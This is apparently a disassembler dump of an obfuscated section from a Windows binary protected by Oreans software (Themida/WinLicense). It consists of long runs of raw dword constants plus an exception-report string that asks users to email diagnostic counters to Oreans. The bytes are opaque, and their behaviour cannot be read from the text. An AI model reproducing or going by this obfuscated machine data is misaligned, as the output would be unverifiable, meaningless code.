dd 8D093523h, 37F63E85h, 51006A09h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1704h, 0C3514100h, 865DE0FBh, 0BD8B22B6h
dd 9352951h, 58E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1904h, 0C3524200h, 2E66F5D6h, 0BA6672B6h
dd 0BD83C604h, 93523CDh, 16840F00h, 0F5000000h, 0F669858Dh
dd 0BA660937h, 16E96C88h, 29000000h, 35161995h, 4B858D09h
dd 0F0937F6h, 48Fh, 56BA6600h, 7E85891Ah, 0E90937F6h, 12h
dd 3CB2D88h, 987063C4h, 0C84E4C4Fh, 0F0BCAE1Fh, 0CE80DEDh
dd 7C000000h, 0D69C2863h, 0FCBE151Ch, 2950234Bh, 350675B5h
dd 0BD835909h, 93523CDh, 25850F00h, 0F000000h, 68Bh, 35B58900h
dd 8309352Bh, 380605BDh, 840F0009h, 16h, 6840Fh, 0F1810000h
dd 5AFAEA03h, 11E6E9h, 0D8806000h, 28E96168h, 0F9000004h
dd 53BAC08Bh, 6036FE7Fh, 14E8h, 4421D00h, 0EAE8577Fh, 385A2BF0h
dd 9EB62253h, 7F6E99D3h, 0D18B6691h, 0BD83615Eh, 93526A1h
dd 83097500h, 353079BDh, 19740009h, 0C08B5350h, 7D4B8h
dd 0C1858900h, 8D09352Ah, 37B4389Dh, 5BD3FF09h, 79BD8358h
dd 93530h, 53501774h, 7D4B8h, 0C1858900h, 8D09352Ah, 37B1279Dh
dd 5BD3FF09h, 8122B258h, 543E87D7h, 0C08BF97Dh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 81C35040h, 0E61F90B4h
dd 0F1813226h, 6160304Fh, 0F003F68h, 1A8B0F00h, 0F000000h
dd 1489h, 0EE800h, 83050000h, 720FA68Fh, 562944BBh, 0F5A63570h
dd 66006A59h, 6AD68Bh, 1B419D01h, 95FF0935h, 9352F59h
dd 0E9958B60h, 0F09351Ch, 1088h, 0BE900h, 58BB0000h, 7A743B19h
dd 2BE7201Fh, 0C08561F3h, 0E850Fh, 9E90000h, 82000000h
dd 316DAFFCh, 4D569CA8h, 0F6028589h, 6AFC0937h, 66D28100h
dd 6A1FD61Ch, 819D8900h, 6A093504h, 89006A00h, 351025B5h
dd 6A006A09h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 72C9C355h, 3AC63CA5h, 0D7D6C781h, 858D7CA8h, 937F7E0h
dd 50F98B66h, 6860Fh, 958B0000h, 9352601h, 8D8B016Ah, 93530A9h
dd 6A016Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
dd 53430000h, 60608EC3h, 66C1BF0Fh, 6A61F08Bh, 5D8D8B01h
dd 68093530h, 0F01FFh, 83FAB70Fh, 3523CDBDh, 840F0009h
dd 14h, 1199533h, 858D0935h, 937F65Fh, 27E9D08Bh, 0F8000000h
dd 0F635858Dh, 6A0937h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 0B966A3C3h, 8950EE67h, 351F69B5h
dd 0FBB70F09h, 85896050h, 93506D1h, 7D18166h, 0B5FF6135h
dd 937F602h, 0CE9h, 3117A600h, 22233D72h, 0CCCDDD66h, 0EE95FF16h
dd 0F0937F5h, 0C80h, 6880F00h, 89000000h, 350B398Dh, 85CA8B09h
dd 19850FC0h, 66000000h, 0E87E2CBFh, 7, 30F3D66h, 66C09768h
dd 0E95FD38Bh, 2Fh, 0F6068589h, 81510937h, 7AC5E4C7h, 0B5FF5A1Eh
dd 937F606h, 561ABA66h, 2C7195FFh, 85890935h, 9352FF1h
dd 850FC085h, 3, 6A5FF853h, 52006A10h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0FB5152CEh
dd 2E18D29h, 76BF0935h, 837255F6h, 3523CDBDh, 840F0009h
dd 44h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh
dd 0FC35343h, 325DF423h, 0FD8EECAh, 858DFBBFh, 937F65Fh
dd 1091B589h, 1FE90935h, 0E9000000h, 8, 0A2D2C30Bh, 0F09435CEh
dd 0F635858Dh, 7E90937h, 0F1000000h, 18607929h, 5750DB2Dh
dd 0FF59D38Bh, 37F602B5h, 51006A09h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 95FF1535h
dd 937F5FAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 17C35646h, 0F1CB8BBCh, 68B0F90h, 8B000000h, 35226995h
dd 0FC08509h, 685h, 81950B00h, 89093507h, 37F60685h, 0DDBD2309h
dd 6A093511h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1A04h, 0C3524200h, 661F105Dh, 2981D7F0h, 35015D8Dh
dd 89006A09h, 350D3185h, 6B5FF09h, 0F0937F6h, 386h, 9DD18000h
dd 0A0C98166h, 0F295FF50h, 850937F5h, 850FC0h, 0FF000000h
dd 37F606B5h, 18E0F09h, 0FC000000h, 2C7195FFh, 6A0935h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 0BD04B8C3h, 85CB6827h, 4850FC0h, 66000000h, 6ADEB2BAh
dd 503CB500h, 5AF8BF0Fh, 8068h, 6AC88A00h, 45852903h, 6A093517h
dd 0CA8B6600h, 8960006Ah, 35316DB5h, 10E809h, 82790000h
dd 5898D3AFh, 0CA6533CCh, 4C7EAA07h, 0C9800ECFh, 66615950h
dd 68ECF9B9h, 0C0000000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 2DC35545h, 0EFAFEE6Bh, 12E9h, 0C0018600h
dd 392105F7h, 5DBF9B97h, 9C56ED9Bh, 0FFA56AC4h, 37F67EB5h
dd 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 3A5C45F0h, 0F1994CD0h, 0E1B589F6h, 0FF09351Ah
dd 35244195h, 8166F909h, 834386E1h, 850FFFF8h, 618h, 11DA8166h
dd 0EC85FF54h, 33093800h, 35280995h, 0ECBD8309h, 2093800h
dd 4A9840Fh, 89600000h, 3525718Dh, 599D8909h, 61093532h
dd 0F59F858Dh, 6A005Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 958B64C3h, 9351AF1h, 0D0BFD0FFh
dd 8D7F5522h, 5AEFF285h, 8B666000h, 8B6660F8h, 0F1B70FF7h
dd 0D0FF6161h, 0EF8AC08Bh, 26A1BD83h, 75000935h, 79BD8309h
dd 93530h, 53501974h, 0D8B8C08Bh, 89000007h, 352AC185h
dd 389D8D09h, 0FF0937B4h, 83585BD3h, 353079BDh, 17740009h
dd 0D8B85350h, 89000007h, 352AC185h, 279D8D09h, 0FF0937B1h
dd 9585BD3h, 352DD985h, 0BD8BF809h, 9350A3Dh, 9529C08Bh
dd 9351041h, 0F003F68h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1704h, 0C3554500h, 7B1AC5F4h, 68C0Fh, 0BD890000h
dd 93503F5h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 0FB4AFFC3h, 12E8h, 0EC351600h, 8A3AFE92h
dd 0F2FD2E4Fh, 74501B60h, 0E95D9DB9h, 0Ch, 4CA8C124h, 43F36D51h
dd 85C4CD45h, 0F006A59h, 1684h, 11E900h, 47E70000h, 0F457506h
dd 0FA03011Bh, 0D03E0E63h, 0E97DB200h, 6, 0CAF96060h, 95FF1E63h
dd 9352F59h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 4DC35343h, 6810F89h, 89000000h, 351BF19Dh, 6AC08509h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 0D327C353h, 7E01DC50h, 0AE9D9h, 94790000h
dd 1FB37044h, 0C90613E3h, 0F6028589h, 0EE90937h, 4C000000h
dd 0FEE8AB70h, 0A02634B0h, 688AFD36h, 1FF68D4h, 0BD8B000Fh
dd 93526A9h, 23CDBD83h, 0F000935h, 2584h, 0A5858900h, 8D093505h
dd 37F65F85h, 0D78B6609h, 2EE9h, 9E900h, 93980000h, 0B49A47BBh
dd 66CB0113h, 858DCB8Bh, 937F635h, 12E9h, 9E16A400h, 37DEEDB3h
dd 4076958Dh, 0C2A1AA40h, 505CDA2Eh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 57C35545h, 0CF8A7F9Bh, 0F602B5FFh
dd 8E90937h, 8D000000h, 6C969D9h, 0FFAF9117h, 37F5FA95h
dd 8589FC09h, 937F606h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 6FC35545h, 8F0F979Bh, 18h, 0BE860h, 4490000h
dd 43999E7Ch, 8CBBFAEBh, 0E0B85B3Dh, 612B0423h, 0B8585C7h
dd 935h, 9D290000h, 9350F5Dh, 0F606BD83h, 0F000937h, 1D884h
dd 49BD0900h, 8D093504h, 37F8E485h, 0D0B70F09h, 51006A50h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 6C1E77AAh, 89154EE3h, 350BE9BDh, 9016A09h, 35264D95h
dd 8C0F09h, 0FF000000h, 37F606B5h, 0FE909h, 73600000h
dd 14B8E316h, 9DEE097Bh, 0B6C03AECh, 0FE95FF6Ch, 6A0937F5h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 235FC351h, 83D1E884h, 8BF8CE7Bh, 6B5FFCAh
dd 6A0937F6h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 0E69FC355h, 0BE5EE0A6h, 4AE05277h
dd 0ABDB589h, 8B660935h, 7195FFD6h, 8909352Ch, 35078185h
dd 1FF6809h, 8D2B000Fh, 93506C9h, 23CDBD83h, 0F000935h
dd 3184h, 69BD2B00h, 8D09352Fh, 37F65F85h, 6E909h, 9DA70000h
dd 898CE7ABh, 21E9h, 10E900h, 0F56D0000h, 9CA3292Bh, 0EDAF7C43h
dd 0B45EB6E2h, 858DE0B7h, 937F635h, 9E14CA81h, 6A5006D7h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 0BE2BC353h, 0FCD181BAh, 0FF7BF0C1h, 37F602B5h
dd 0F2AB609h, 95FFFBB7h, 937F5FAh, 0F6068589h, 8D8B0937h
dd 9350239h, 0F606B5FFh
dd 6A0937h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
dd 50400000h, 620020C3h, 0FFD1B70Fh, 37F5F695h, 0EE809h
dd 4B3A0000h, 0CDB8D251h, 314ABDF9h, 0F3F8570Fh, 300D9589h
dd 0FF5F0935h, 37F606B5h, 168D0F09h, 0E9000000h, 11h, 1F288C78h
dd 0FF9FC8CEh, 265E98A9h, 0B47E623Ah, 7195FF17h, 3109352Ch
dd 3531F9B5h, 0F652E909h, 8166FFFFh, 0FF70F3DAh, 38014FB5h
dd 9E809h, 45DC0000h, 0C1BE2080h, 0F672782h, 68Eh, 0BD958B00h
dd 5909350Eh, 0D0595FFh, 6A0935h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 858BDEC3h, 9352E71h
dd 0EE8h, 1C9E8900h, 7D3CAA5Dh, 1E87F036h, 895EF87Ch, 351B79BDh
dd 0F6E95A09h, 6A000005h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 66B5C355h, 19A9CE6Eh
dd 8D8E59BAh, 37F904B5h, 50006A09h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1704h, 0C3504000h, 86C28915h, 5218D89h, 85890935h
dd 9350DB5h, 0A719858Dh, 958B0937h, 9352A75h, 35B9D0FFh
dd 6A3390CEh, 8B96600h, 0C995FF67h, 0E909351Ah, 7, 58CBA4D0h
dd 8BA5A7C9h, 4D8D01F3h, 0FC093532h, 0A719858Dh, 0FE90937h
dd 8000000h, 8F597D31h, 48635C1Ch, 9017CF4Bh, 0D0FF87D8h
dd 32118D8Bh, 6A0935h, 6860Fh, 8D8B0000h, 9350161h, 0A2CECF81h
dd 95FF2488h, 9351AC9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 0DBC35343h, 0FCCCF348h, 9EB5B966h, 5E8C08Bh
dd 0BB000000h, 37F2EAD2h, 5AD08B66h, 26A1BD83h, 75000935h
dd 79BD8309h, 93530h, 53501974h, 0D9B8C08Bh, 89000007h
dd 352AC185h, 389D8D09h, 0FF0937B4h, 83585BD3h, 353079BDh
dd 17740009h, 0D9B85350h, 89000007h, 352AC185h, 279D8D09h
dd 0FF0937B1h, 60585BD3h, 2FC99D89h, 8D290935h, 93502F9h
dd 0FA8B6661h, 0BA66C08Bh, 0BD8BDBCBh, 9352245h, 12E850h
dd 7450000h, 2ACE512Fh, 2ABA40B0h, 0A593C264h, 0EC3D4573h
dd 59958Bh, 8B5F0935h, 8D8501D8h, 53093511h, 29E99D8Dh
dd 38B0935h, 438B0389h, 50438950h, 0E89D8Dh, 38B0938h
dd 8A5B0389h, 459589E8h, 6A093503h, 0E909B600h, 9, 46676C82h
dd 72EF93Ch, 0E8858D0Eh, 66093800h, 50FD75BFh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0EC35343h, 0E6A55C5Eh
dd 0F68CFE8Ch, 59958BFFh, 6A09352Ch, 2DCD8060h, 29E9858Dh
dd 870F0935h, 0Eh, 7E950h, 0D4150000h, 4A2EF20Bh, 0F8505AC4h
dd 8B66006Ah, 118F0FD6h, 0E9000000h, 0Ch, 0D7F2CA0Eh, 92105A13h
dd 2FF3795Ah, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 0BCF13FC3h, 0F875DBDDh, 8BE38C81h
dd 353239BDh, 6850F09h, 8B000000h, 350A5995h, 18006809h
dd 0BA600000h, 3870A5C5h, 53613AB7h, 7D95FFF8h, 6A093511h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 0E8CDC356h, 0Dh, 0A4B75839h, 83402F90h, 3AA5E898h
dd 2FE981EFh, 5F368496h, 2CE595FFh, 0DE80935h, 13000000h
dd 4CB34FC5h, 3FD4F9F2h, 0CB93A8CEh, 0B5FF5AF5h, 938014Fh
dd 5E9h, 0DAFBD100h, 95FF4F27h, 9350D05h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0F3C35343h, 12E08A65h
dd 89053A1Bh, 35129985h, 0E9858D09h, 0FC093529h, 0C718408Bh
dd 35027585h, 9, 0D1BF0F00h, 23CDBD83h, 0F000935h, 2484h
dd 68A0F00h, 89000000h, 3511C1B5h, 8C3D09h, 830F0000h
dd 1EBh, 17458D8Bh, 1BE90935h, 8B000000h, 963DF9h, 830F0000h
dd 1D3h, 6840Fh, 958B0000h, 9350E39h, 858DD08Bh, 5AF59Fh
dd 16258509h, 0D0FF0935h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Dh, 9DC35747h, 2EE8FB4Fh, 0DAAFB380h, 816660A3h
dd 89A21DDFh, 3500D195h, 95896109h, 9353341h, 0EFF2858Dh
dd 8951005Ah, 350EBDBDh, 0D0FF5A09h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Bh, 0BAC35141h, 6F77B123h, 0FCCEFA6h
dd 38Dh, 0D18B6600h, 0BD8BC08Bh, 9351B8Dh, 26A1BD83h, 75000935h
dd 79BD8309h, 93530h, 53501974h, 0C6B8C08Bh, 8900000Bh
dd 352AC185h, 389D8D09h, 0FF0937B4h, 83585BD3h, 353079BDh
dd 17740009h, 0C6B85350h, 8900000Bh, 352AC185h, 279D8D09h
dd 0FF0937B1h, 6A585BD3h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 0C335C355h, 0D5E389D4h
dd 0C08B7D15h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 0BC35646h, 0D18B6613h, 16618D0Bh, 8E0F0935h, 0Ch
dd 6830Fh, 0B5890000h, 9352BF9h, 0FFFF883h, 4C85h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 660EFB65h, 3029331h, 85C7F5EDh, 9350595h, 0
dd 6890Fh, 8D030000h, 93529E5h, 0BFE9h, 820F00h, 0E9000000h
dd 1Bh, 1F883F9h, 11850Fh, 0BD330000h, 9353269h, 0ECE9h
dd 95958B00h, 0E909350Eh, 0FFFFF0D0h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 90C35646h, 8B9A623Eh, 63BA51C0h
dd 5A68BF61h, 26A1BD83h, 75000935h, 79BD8309h, 93530h
dd 53501974h, 0DDB8C08Bh, 89000007h, 352AC185h, 389D8D09h
dd 0FF0937B4h, 83585BD3h, 353079BDh, 17740009h, 0DDB85350h
dd 89000007h, 352AC185h, 279D8D09h, 0FF0937B1h, 66585BD3h
dd 0C981D08Bh, 30E3A303h, 880FC08Bh, 5, 9356D4BAh, 4DB5891Dh
dd 0E909352Dh, 217h, 0FEEC858Dh, 6A0937h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E988A4C3h
dd 0Dh, 0F40CAEEFh, 0C2DE3E54h, 0A3D62D55h, 0DB65BF63h
dd 0D38B0919h, 0E48589h, 2FE90938h, 31000000h, 35286595h
dd 0F4858D09h, 600937FCh, 8E9DE8Bh, 96000000h, 0CF841891h
dd 61C421B6h, 798D8B40h, 8909351Ch, 3800E485h, 871FBF09h
dd 346A6073h, 1E11858Dh, 0FF500935h, 3800E4B5h, 0FF006A09h
dd 3525A195h, 7F88309h, 162840Fh, 8C660000h, 4C3F6DBh
dd 0FC850Fh, 85C60000h, 935179Dh, 0B8526856h, 0B5FF9CA8h
dd 9350EC9h, 3898858Dh, 0D0FF0935h, 68046Ah, 6A000010h
dd 0FF006A64h, 578589D0h, 0C6093801h, 35179D85h, 9B684709h
dd 0FFEC18ACh, 350EC9B5h, 98858D09h, 0FF093538h, 8BD0FFD0h
dd 9D85C6F0h, 4F093517h, 2F266168h, 21B5FFC6h, 8D093526h
dd 35389885h, 8DD0FF09h, 3801539Dh, 286A5309h, 85D0FF56h
dd 0C60075C0h, 35179D85h, 98684109h, 0FFDB8764h, 352621B5h
dd 98858D09h, 0FF093538h, 708589D0h, 0C6093801h, 35179D85h
dd 0A4684C09h, 0FF80A4E7h, 352621B5h, 98858D09h, 0FF093538h
dd 579D8BD0h, 8D093801h, 8D53045Bh, 38015C9Dh, 6A5309h
dd 9D8BD0FFh, 9380157h, 103C7h, 43C70000h, 20Ch, 3D85C700h
dd 93530h, 6A000000h, 6A006A00h, 579D8B00h, 53093801h
dd 0B5FF006Ah, 9380153h, 17095FFh, 85C60938h, 935179Dh
dd 0F7976845h, 0B5FF92A5h, 935057Dh, 3898858Dh, 0D0FF0935h
dd 26A006Ah, 8C66D0FFh, 4C3F6DBh, 9D8B3275h, 9380157h
dd 0C43C7h, 6A000000h, 8B006A00h, 3801579Dh, 6A5309h, 153B5FFh
dd 95FF0938h, 9380170h, 153B5FFh, 95FF0938h, 9352CE5h
dd 95FF006Ah, 9351AC9h, 0CE9h, 9447E500h, 9685039Ah, 200EED23h
dd 0F59D293Ch, 8D09350Ch, 3833A485h, 0FEB70F09h, 7BE28166h
dd 0B8605048h, 0AF0F9A8h, 68E0Fh, 958B0000h, 93527B9h
dd 35FF6461h, 0
dd 0CB18A1B9h, 0C98D896Bh, 64093525h, 2589h, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 0E88CB3C3h, 12h, 657AD2Ah, 0FF808A05h, 44681A80h, 46B38904h
dd 0BA66F7F0h, 665F6FDBh, 0B4E9D781h, 2365BD83h, 0F000935h
dd 7384h, 0A830F00h, 0E9000000h, 5, 68E5D18h, 19BD83DEh
dd 109351Ch, 56850Fh, 0BD8B0000h, 9352791h, 570BD80h, 0F000938h
dd 4385h, 75958B00h, 2909352Ch, 35012D95h, 1B8E909h, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 0D1807DC3h, 9E9BBh, 75560000h, 7F819D15h, 6643C30Ah
dd 0A4A4D181h, 6ADB33h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 0EB251DC3h, 830F2A74h, 6, 2C599589h
dd 0C0330935h, 0AE9h, 89F59B00h, 0D454BAE2h, 408A69A8h
dd 0B073F0Fh, 58F64h, 83000000h, 6A04C4h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 372ABFC3h
dd 0D4340EB9h, 8D8BD5C8h, 93524C1h, 0FE960h, 43560000h
dd 9CCEAB7Eh, 6E620A9Ch, 0A310B152h, 21858B75h, 6109350Ah
dd 0FFFFB83h, 1284h, 0C18D8900h, 89093506h, 35000595h
dd 0CEE909h, 0E9F80000h, 7Dh, 4C8BF58Ah, 81C70C24h, 0A4h
dd 0FFFFFFFFh, 0B88183h, 33040000h, 5C8BC3C0h, 0E8550C24h
dd 0
aBa38Lg db ']│Мф38',9,'▀┐╦',0
align 10h
dd 74858D00h, 89093834h, 0B883h, 0C0335D00h, 50006AC3h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 89C96287h, 57006A4Eh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 0BC858DAFh, 66093833h, 50ED25BFh
dd 0FF6421B6h, 35h, 398D8B00h, 64093528h, 2589h, 0CA8A0000h
dd 0AB9h, 0D704B800h, 64054855h, 0BB0DF781h, 8685D465h
dd 34B640BAh, 0E8EA8100h, 0ED00345Fh, 5868FB81h, 0A75564Dh
dd 0FBD85C7h, 10935h, 8F640000h, 5, 4C48300h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0FCC35040h, 0F547EC78h
dd 7EB3A19Dh, 2185899Bh, 0BA09352Eh, 2DC74C88h, 0C08BB3B1h
dd 8BD38B66h, 3522DD95h, 0A1BD8309h, 93526h, 0BD830975h
dd 9353079h, 50197400h, 0B8C08B53h, 43Dh, 2CA98589h, 9D8D0935h
dd 937B49Fh, 585BD3FFh, 3079BD83h, 74000935h, 0B8535017h
dd 43Dh, 2CA98589h, 9D8D0935h, 937B140h, 585BD3FFh, 2699BD33h
dd 860F0935h, 0Bh, 6E9h, 0FE085100h, 8B1A40D0h, 13AE9C0h
dd 40000h, 2E310000h, 353538h, 7 dup(0)
aExceptionInfor db 'Exception Information',0
aPleaseSendTheF db 'Please, send the following codes to info@oreans.com. Thank you.',0Ah
db 0Dh,0Ah
db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah
db 0Dh,0Ah
db 0Dh,'Version = %s',0Ah
db 0Dh,'CheckIN = %d',0Ah
db 0Dh,'CheckOUT = %d',0Ah
db 0Dh,'ProcIN = %d',0Ah
db 0Dh,'ProcOUT = %d',0Ah
db 0Dh,'ExitIN = %d',0Ah
db 0Dh,'ExitOUT = %d',0Ah
db 0Dh,'TPin = %d',0Ah
db 0Dh,0
aGX5 db '┐╫∙',0Dh,'5',9,0
db 0Fh
dd 12D84h, 57858D00h, 500937AFh, 0AEC1858Dh, 68500937h
dd 80000001h, 0AF6795FFh, 858D0937h, 9383524h, 2E858D50h
dd 50093835h, 6A006Ah, 0AED5858Dh, 0FF500937h, 37AF57B5h
dd 0FD95FF09h, 8D09351Eh, 38352485h, 858D5009h, 9383532h
dd 6A006A50h, 0E7858D00h, 500937AEh, 0AF57B5FFh, 95FF0937h
dd 9351EFDh, 3524858Dh, 8D500938h, 38353E85h, 6A5009h
dd 858D006Ah, 937AF34h, 57B5FF50h, 0FF0937AFh, 351EFD95h
dd 24858D09h, 50093835h, 3546858Dh, 6A500938h, 8D006A00h
dd 37AF5285h, 0B5FF5009h, 937AF57h, 1EFD95FFh, 858D0935h
dd 9383524h, 42858D50h, 50093835h, 6A006Ah, 0AF3B858Dh
dd 0FF500937h, 37AF57B5h, 0FD95FF09h, 8D09351Eh, 38352485h
dd 858D5009h, 9383536h, 6A006A50h, 43858D00h, 500937AFh
dd 0AF57B5FFh, 95FF0937h, 9351EFDh, 3524858Dh, 8D500938h
dd 38353A85h, 6A5009h, 858D006Ah, 937AF4Ah, 57B5FF50h
dd 0FF0937AFh, 351EFD95h, 57B5FF09h, 0FF0937AFh, 351AED95h
dd 0A2E909h, 0BD830000h, 9352C5Dh, 95840F00h, 83000000h
dd 351C19BDh, 850F0009h, 11h, 0C05958Bh, 0C2810935h, 1CF8h
dd 0FE9h, 0E9958D00h, 8B093529h, 0C2813452h, 3BD4C340h
dd 1C699589h, 0BD830935h, 9351C69h, 55840F00h, 8B000000h
dd 351C699Dh, 4CC38309h, 8589038Bh, 938352Eh, 1C699D8Bh
dd 0C3830935h, 89038B50h, 38353285h, 699D8B09h, 8309351Ch
dd 38B54C3h, 353E8589h, 9D8B0938h, 9351C69h, 8B58C383h
dd 42858903h, 8B093835h, 351C699Dh, 5CC38309h, 8589038Bh
dd 9383536h, 0D95BD83h, 0F000935h, 0D85h, 5DBD8300h, 9352Ch
dd 68840Fh, 0B5FF0000h, 9383546h, 353AB5FFh, 0B5FF0938h
dd 9383536h, 3542B5FFh, 0B5FF0938h, 938353Eh, 3532B5FFh
dd 0B5FF0938h, 938352Eh, 3528858Dh, 8D500938h, 38356085h
dd 858D5009h, 9351F9Dh, 5995FF50h, 83093527h, 406A24C4h
dd 354A858Dh, 8D500938h, 351F9D85h, 6A5009h, 25A195FFh
dd 16A0935h, 1AC995FFh, 0C18B0935h, 8BD78B60h, 51006AC0h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 0B4D94EDFh, 525DF728h, 5AD18B66h, 26A1BD83h, 75000935h
dd 79BD8309h, 93530h, 53501974h, 0EB8C08Bh, 89000004h
dd 352AC185h, 389D8D09h, 0FF0937B4h, 83585BD3h, 353079BDh
dd 17740009h, 0EB85350h, 89000004h, 352AC185h, 279D8D09h
dd 0FF0937B1h, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 0ED78C356h, 0C46CB9C5h
dd 2800F60h, 51000000h, 66FBBE5Fh, 6A616DA4h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 540EC353h, 0CE8B6653h, 10E959h, 9E8F0000h, 0B256CB8Ah
dd 87D7C663h, 0C788571Fh, 0C08BBA8Fh, 83F6BF0Fh, 352365BDh
dd 840F0009h, 2Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 14C35343h, 3800Fh, 8B660000h, 27DE9D0h
dd 0BF0F0000h, 0E9DF8CF7h, 11h, 57D0EB61h, 4E5F00D3h, 24027A59h
dd 18DDD3C2h, 0C7F76600h, 850F0004h, 257h, 10E960h, 5D260000h
dd 53225E3Ch, 0DF6AC66Ch, 0A31E6446h, 0BF612F2Bh, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0F9C35141h
dd 0DD052BC1h, 0B4AFED2Ah, 11E9D6h, 0D5B90000h, 0FF861363h
dd 8C7EEA76h, 0BD402976h, 8D37C50Bh, 383BFB9Dh, 10E909h
dd 0EA470000h, 0F5162D95h, 0D97C35A6h, 6C47ADDAh, 0E950BEBAh
dd 8, 4B4529B5h, 0B5A1C70Ah, 0F241C89h, 489h, 0F7BE6600h
dd 35FF645Ch, 0
aFbscsdi db 'f│АГИd┴%',0
align 4
dd 10E9h, 0BCE88900h, 8DEFED6Ah, 718F643Dh, 5E6C2BA2h
dd 0BAC48B92h, 60E9E6D8h, 0EB01CDh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 0ADC35545h, 0ABCBBABCh, 6A57D0h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 324C73C3h, 0EC8B5FA3h, 0C5804288h, 58F64D0h, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0F5C35545h
dd 0C4831FF4h, 13E904h, 17F0000h, 7CA423BFh, 3DC2B63Eh
dd 0E778DD73h, 27168F73h, 22C9803Bh, 840FC00Bh, 103h, 11E8D78Bh
dd 0AF000000h, 0B4D3CB5Dh, 0D1DAB56Ah, 0D074B97Dh, 0CCD0BAA6h
dd 830Fh, 615E0000h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 0B7C35646h, 52503BC5h, 98DE8050h, 0D18B5A5Eh
dd 7099BD8Dh, 6A0935h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 190424h, 53430000h, 685D3AC3h, 0BAF8AF61h, 1B3F31D9h
dd 1B8h, 6E95000h, 5D000000h, 294F1B4Dh, 0E7FF5E3Fh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 7AC35242h, 27C1DD12h
dd 5C8B577Ch, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh, 0B0h
dd 0B88383h, 5F020000h, 0E9C3C033h, 0Bh, 3C40226Dh, 0F28597D3h
dd 6A92F9D8h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 0F6D3C351h, 9C1B5C34h, 8166A55Bh
